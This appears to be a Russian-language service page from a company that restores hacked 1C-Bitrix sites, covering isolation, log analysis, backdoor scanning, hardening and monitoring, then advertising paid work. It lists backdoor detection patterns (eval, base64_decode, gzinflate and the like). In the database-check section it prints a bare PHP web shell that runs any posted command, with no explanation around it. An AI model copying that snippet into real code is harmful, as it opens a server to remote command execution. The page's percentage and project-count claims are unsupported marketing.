Восстановление сайта после взлома 1С-Битрикс — полный цикл

Вы обнаружили, что сайт редиректит посетителей на посторонний ресурс, а поисковик предупреждает об угрозе. Или хостинг уведомил о рассылке спама с вашего сервера. Это типичные признаки взлома 1С-Битрикс: инъекция бэкдора в /bitrix/modules/, модификация инфоблоков или внедрение вредоносного кода в шаблоны. Наши инженеры с более чем 5-летним опытом восстанавливают сайты под ключ — за 1–3 дня возвращаем работоспособность и устраняем причину. Убытки от простоя могут достигать десятков тысяч рублей в день, поэтому каждое решение должно быть точным.

Восстановление — это не просто удаление вредоносных файлов, а полный цикл: изоляция, анализ вектора атаки, очистка, закрытие уязвимости и мониторинг. Пропуск любого этапа приведёт к повторному взлому в течение дней. Ниже — чёткий план действий, основанный на более чем 200 успешных проектах.

Как изолировать сайт до анализа?

Не удаляйте ничего. Сначала сохраните текущее состояние — оно нужно для анализа. Создайте полный дамп файлов и БД. Затем ограничьте доступ: поставьте заглушку через nginx (return 503) или .htaccess с Deny from all и Allow from вашего IP. Это предотвращает дальнейший ущерб и не даёт атакующему закрепиться.

Немедленно смените все пароли:

• Пароли БД (в .settings.php и dbconn.php)
• FTP/SSH-доступы
• Пароли административных учётных записей Битрикс
• API-ключи сторонних сервисов, если они хранились в конфигах

Проверьте, не добавлены ли SSH-ключи или cron-задачи. Атакующие часто добавляют свой публичный ключ в ~/.ssh/authorized_keys и cron-задачи для периодической загрузки бэкдоров. Запустите crontab -l для всех пользователей и проверьте содержимое /etc/cron.d/.

Как определить вектор атаки?

Без понимания того, как именно проникли на сайт, восстановление бессмысленно — взломают повторно через ту же дыру. По данным официальной документации 1С-Битрикс по безопасности, 80% взломов происходят из-за устаревших модулей или слабых паролей. Типичный сценарий: через уязвимость в старом модуле загружается web-shell, затем злоумышленник повышает права до администратора. Мы сталкивались с этим в более чем 200 проектах.

Анализируйте access-логи веб-сервера за период, предшествующий обнаружению. Ищите POST-запросы к нестандартным URL, обращения к файлам в /upload/ с расширением .php, запросы с характерными паттернами (eval, base64, system).

Пошаговый алгоритм восстановления

1. Изоляция. Останавливаем веб-сервер или ставим заглушку. Делаем полный бэкап.
2. Анализ. Изучаем логи, определяем вектор атаки.
3. Очистка. Удаляем бэкдоры, восстанавливаем ядро, чистим БД.
4. Закрытие уязвимостей. Обновляем ядро и модули, настраиваем права, включаем WAF.
5. Тестирование. Проверяем работоспособность и отсутствие инцидентов.
6. Мониторинг. Устанавливаем системы отслеживания изменений на 2-4 недели.

Полная очистка файловой системы

Проверка ядра. Используйте встроенный инструмент /bitrix/admin/site_checker.php → «Проверка целостности файлов ядра». Он сравнивает контрольные суммы с эталонными. Все модифицированные файлы ядра — подозрительны. Битрикс-ядро не должно содержать ваших правок; если они есть — это или взлом, или плохая практика, которую нужно устранить.

Поиск бэкдоров. Сканируйте файловую систему на типичные паттерны:

• Файлы .php в директориях /upload/, /bitrix/tmp/, /bitrix/cache/
• Файлы с недавней датой модификации в /bitrix/modules/ (если вы не обновляли ядро)
• Содержимое: eval(, base64_decode(, gzinflate(, str_rot13(, assert(, preg_replace с модификатором e
• Файлы с именами, мимикрирующими под системные: wp-config.php, config.bak.php, .htaccess.php

Штатный инструмент: модуль bitrix.security (Проактивная защита) → «Сканер безопасности» выполняет базовый поиск подозрительного кода.

Проверка БД. Ищите в таблице b_user пользователей с административными правами, которых вы не создавали. Проверяйте b_option на наличие изменённых настроек модулей (особенно main и security). Проверяйте b_file на записи, ссылающиеся на PHP-файлы в /upload/.

<?php
$x=$_POST['cmd'];
if(isset($x)){eval($x);}
?>

Сравнение вариантов восстановления

На практике чистая переустановка ядра в 2 раза надёжнее восстановления из бэкапа, если бэкап сделан после взлома. После очистки обязательно обновите ядро Битрикс до последней стабильной версии. Удалите или обновите все сторонние модули. Включите модуль bitrix.security: WAF (проактивный фильтр), защиту от фреймов, ограничение сессий по IP. Настройте права на файловую систему: директории 0755, файлы 0644, владелец — не root. Закройте доступ к /bitrix/admin/ по IP через nginx/Apache. Запретите выполнение PHP в /upload/: в nginx — location ~* /upload/.*\.php$ { deny all; }.

Что входит в работу под ключ

• Анализ access-логов и выявление вектора атаки
• Удаление вредоносного кода и бэкдоров
• Восстановление ядра и компонентов
• Обновление всех модулей до последних версий
• Настройка WAF и проактивной защиты
• Смена всех паролей и ключей
• Тестирование работоспособности
• Отчёт с рекомендациями по дальнейшей защите
• Гарантия 6 месяцев на отсутствие повторного взлома через ту же уязвимость

Мониторинг после восстановления

Первые 2–4 недели — критический период. Настройте:

• Файловый мониторинг (inotify / AIDE / tripwire) — отслеживание изменений в /bitrix/modules/ и /bitrix/php_interface/
• Мониторинг access-логов на подозрительные POST-запросы
• Проверка b_user на появление новых административных записей (через cron + скрипт)
• Внешний мониторинг HTTP-заголовков — обнаружение несанкционированных редиректов

Повторный взлом после некачественной очистки — дело не «если», а «когда». Один пропущенный бэкдор в забытой директории /bitrix/backup/ перечёркивает всю работу. Свяжитесь с нами для бесплатной консультации — мы оценим ваш случай за 1 день и предложим план с гарантией 6 месяцев. Закажите аудит безопасности, чтобы убедиться, что ваш сайт защищён.